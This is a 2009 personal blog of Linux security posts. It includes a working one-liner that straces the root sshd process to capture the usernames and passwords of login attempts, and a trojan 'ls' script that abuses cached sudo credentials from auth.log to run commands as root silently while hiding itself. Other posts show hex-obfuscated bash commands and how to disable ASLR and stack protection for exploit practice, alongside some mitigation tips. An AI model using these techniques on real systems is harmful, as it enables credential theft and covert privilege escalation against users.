Sunday, 13 December 2009

SSHD password sniffing

I remember reading something a while back where someone had a linux honeypot running a modified SSH daemon. This custom SSH daemon would log both the usernames and passwords of attempted connections. This is very interesting from a research point of view, as it gives you an idea as to what kind of password dictionaries are being used.

However, grabbing SSH passwords can also be useful if people tend to accidentally type the wrong password from time to time. You might have gained root on a particular box. By watching the SSH attempts it might be possible to gather additional valid passwords for other parts of the network - just because people accidentally type the wrong one in.

It isn't even necessary to install a new SSH daemon binary. If you already have root, you can just strace the process (assuming of course that strace is installed):

# strace -f -p $(pgrep -o sshd) 2>&1 | perl -ne 'BEGIN { $o=""; } { chomp; if ($_ =~ /getpeername/) { if ($o =~ /read\(\d+, \"\\[0-9a-z]\\[0-9a-f]\\[0-9a-f]\\[0-9a-f]\\[0-9a-f]([^\"]+)\"/) { $u = $1; print "$u, "; } } if ($_ =~ /getuid\(\)/) { if ($o =~ /read\(\d+, \"\\v\\[0-9a-f]\\[0-9a-f]\\[0-9a-f]\\[0-9a-f]([^\"]+)\"/) { $p = $1; print "$p\n"; }; } $o=$_;}'
cats, anddogs
root, r00t
admin, test
mysql, mysql

Now, the above script doesn't work for all variations of usernames/passwords. It needs some refining... but you get the general idea.

Saturday, 12 December 2009

Really crap obscurity for bash scripts

Take a look at the following:

eval $'\x73\x75\x64\x6f\x20\x2d\x6e\x20\x74\x6f\x75\x63\x68\x20\x6f\x77\x6e\x65\x64\x2e\x74\x78\x74\x20\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x0a'

What does it do when you run it? Hah, good question. Something like the following should help:

echo "\x68\x65\x6c\x6c\x6f\x20\x74\x68\x65\x72\x65\x2c\x20\x68\x6f\x77\x20\x61\x72\x65\x20\x79\x6f\x75\x3f\x0a" | perl -ne 'foreach (split(/\\x/, $_)) { /([a-f0-9]{2})/i && print chr(hex($1)) }; print "\n";'

I leave it as an exercise for the reader to work out how to create this silly obscurity.

May I just remind people that security through obscurity doesn't work, and just because something isn't obvious, it doesn't mean it is secure.

Getting back in

Here are two useful snippets of bash code which may come in handy when doing stuff over the network.

This first one checks whether the code is already inside a screen session. If not, it tries to attach itself to the desired screen (given by "name"). If that fails, it runs itself again but inside a screen.

if [ -z "$STY" ]; then
# Not in screen, does one already exist?
screen -dr name
if [ "$?" -eq "1" ]; then
# Create new screen
screen -S name "$0"
exit 0

This next snippet is a bit like the 15 second countdown when you change your screen resolution. If things are broken to the point where you can't acknowledge the script, it will revert (or take some other action).

echo "NOTICE: Something will happen in 10 seconds UNLESS ctrl-c is pressed!!!"
echo -n "Time remaining: 10"
for i in {9..0}; do
sleep 1
echo -e -n "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\bTime remaining: 0$i"
echo -e "\nReverting now"

You can combine the two snippets in something like a firewall script. If you are doing any kind of editing, then you probably want to be inside screen in case you get disconnected. If your changes go horribly wrong and you lose connection to the host, then your revert_code_goes_here script can undo some of the damages.

A word of caution

Be careful when running sudo or root terminals inside a user's screen session. If someone manages to break in with a normal user, it might be as simple as attaching to a screen session to get root on that box.

Thursday, 9 July 2009

auth.log and sudo on Ubuntu

Take a look at

eval 'n=$(date +%s); d=$(grep sudo /var/log/auth.log | grep `whoami` | grep COMMAND | tail -1 | awk '"'{ print \$1,\$2,\$3 }'"'); o=$(date -d "$d" +%s); t=$(($n-$o)); [ "$t" -lt "300" ] && sudo -b -n do_evil_stuff >/dev/null 2>&1'
ls --color=auto -I ls $@

What does it do?

Well, if you named it "ls", made it executable and put in it a user's home directory it may allow you to run do_evil_stuff as root.

How does it work?

Basically, it greps the /var/log/auth.log file for lines containing "sudo", the current username and "COMMAND" and then gets the timestamp of the last entry. It compares the timestamp with the current timestamp and if the result is less than 300 seconds (i.e. 5 minutes) it executes do_evil_stuff (create user, backdoor or whatever).

We use the "-b" background option to run do_evil_stuff in the background and we use the "-n" option so that sudo will never prompt the user for a password, thereby giving the game away.

The final command actually runs ls but removes our "ls" script from the output.

Why does it work?

Well, whenever you run the sudo command, it logs it in the auth.log file. Sudo will then generally cache that authentication for 5 minutes so that you don't have to keep typing the password every time you run a command. If you can run a command as the user and then check when they last ran sudo, you can determine whether or not you will be able to use sudo without being prompted for a password.

The user has to be an "administrator" (have access to the admin groups) to use sudo, but it is taking advantage of the default configuration of allowing administrators to read auth.log without being root (or sudoed).

Of course, you have to get this on to the user's machine in the first place, put it somewhere they are likely to run it and make sure they have "." in their path so they run the current directory version.

I have only tried this on Ubuntu Karmic, but it might apply to other distros as well.

If you like, you could get the ls command from an alias if there is one, rather than guessing that they use "--color=auto".

It's a bit old-school, a bit naff but hey. If you want to prevent it, make sure only root can read /var/log/auth.log. I don't know if that would break anything though.

A note or two:

If a user is running multiple terminals in an X session and has run sudo in one of the terminals, then you probably won't be able to borrow it in another terminal, even if sudo was run in the last 5 minutes. However, because we are using sudo's "-n" option, the user shouldn't directly notice our attempt.

Failed sudo attempts should show up in the auth.log, so try to review your logs regularly.

A suggestion or two:

Make sure you don't have "." in your PATH environmental variable.

If you need to run a script with sudo (perhaps it updates the network or something), then do not allow the user to modify it. I suggest you chown it to root and chmod it to 755. Otherwise someone could easily just sneak their code into your script.

Wednesday, 8 July 2009

Finding the Most Significant Bit (MSB) for a number in Perl

The following is a script to print a number's Most Significant Bit value:

user@host:~$ echo "44" | perl -MPOSIX -ne 'print 2**floor(log($_)/log(2))."\n"'

Why you ask? Well, it can be handy. For example, I had a CSV file which had over 2000 columns! The rows were in dates and each column was a number of event occurrences. So a data element was the number of times that occurrence occurred on that day. Make sense?

Something like "On 08/07/2009 10 people had 4 apples, 8 people had 5 apples, 2 people had 6 apples" etc.

Because I had so many columns, I needed to put the occurrences in to ranges. Also, because the data was an inverse exponential (i.e. very few people had 1000 apples on a particular day and 90% of the people for that day had 1 apple) it makes sense to have those ranges exponentially larger. An obvious exponential to use was the power of two. Getting the Most Significant Bit allows you to determine the correct range dynamically without doing comparisons.

So, in the above example, 44 is in the range 32 (MSB) to 63. You can then use the MSB as a key in a hash and total up the values for all the numbers in that range.

Simple huh?

Basically, the POSIX module is needed for the floor function. log(n)/log(2) gives you log2(n), and flooring that result gives you the index for the MSB. So, 2 to the power of the index gives you the MSB itself.

Tuesday, 16 June 2009

Exploiting code on Ubuntu

Ok, so it looks like it has been about a month since my first and only post and as far as I can tell, this is going to be a second post. I have had a number of ideas for things to go here and have now settled on something.

It will only be a short post (once the rambling is over) and to many I'm sure this will be quite basic. However, for a sysadmin looking at security, it might be helpful.

So, lets say you're reading a book like "Hacking, The Art of Exploitation" and you want to do some of the cool exercises on your shiny new Linux distro (Ubuntu Jaunty in my case). You may need to make a few adjustments to get things to work.

Disable address space randomization

This kernel option randomizes process address space (duh) which makes a basic exploit rather difficult:

With it turned off:

$ ./exploit
Stack pointer (ESP) : 0xbffff4b4
Offset from ESP : 0x0
Desired return addr : 0xbffff4b4

Now, turn it back on:

# echo 1 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space
# exit
$ ./exploit
Stack pointer (ESP) : 0xbf9a4654
Offset from ESP : 0x0
Desired return addr : 0xbf9a4654
Segmentation fault
$ ./exploit
Stack pointer (ESP) : 0xbf86c524
Offset from ESP : 0x0
Desired return addr : 0xbf86c524
Segmentation fault
$ ./exploit
Stack pointer (ESP) : 0xbfc0d8c4
Offset from ESP : 0x0
Desired return addr : 0xbfc0d8c4
Segmentation fault

As you can see, the address in the ESP register is randomized, which makes filling the stack of the vulnerable process with a pre-determined address somewhat useless.

No stack protector and preferred stack boundary

The first gcc option specifically adds extra code to check for buffer overflows. Obviously, if you're playing with a vulnerable app you've written, you probably want to be able to exploit it.

The second option should help simplify stack smashing, although I haven't tested it much.

From the gcc manpage:

This extra alignment does consume extra stack space, and generally increases code size. Code that is sensitive to stack space usage, such as embedded systems and operating system kernels, may want to reduce the preferred alignment to -mpreferred-stack-boundary=2.

So, simply compile your code with the -fno-stack-protector and -mpreferred-stack-boundary options:

$ gcc -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb -o vuln vuln.c

Note that I have also added the -ggdb debug symbols option to allow me to nicely debug the code.

Actually, while I'm on the subject, my current preferred gdb GUI is Insight. It has a nice source code view and a very good memory dumper. In fact, this might be the subject of my next post.

As you can see from the below code, not disabling stack protection makes a difference:

0x08048459 <main+69>: mov eax,0x0 <--- preparing our return 0
0x0804845e <main+74>: mov edx,DWORD PTR [ebp-0x8]
0x08048461 <main+77>: xor edx,DWORD PTR gs:0x14
0x08048468 <main+84>: je 0x804846 <--- FAIL
0x0804846a <main+86>: call 0x8048350 <__stack_chk_fail@plt>
0x0804846f <main+91>: add esp,0x214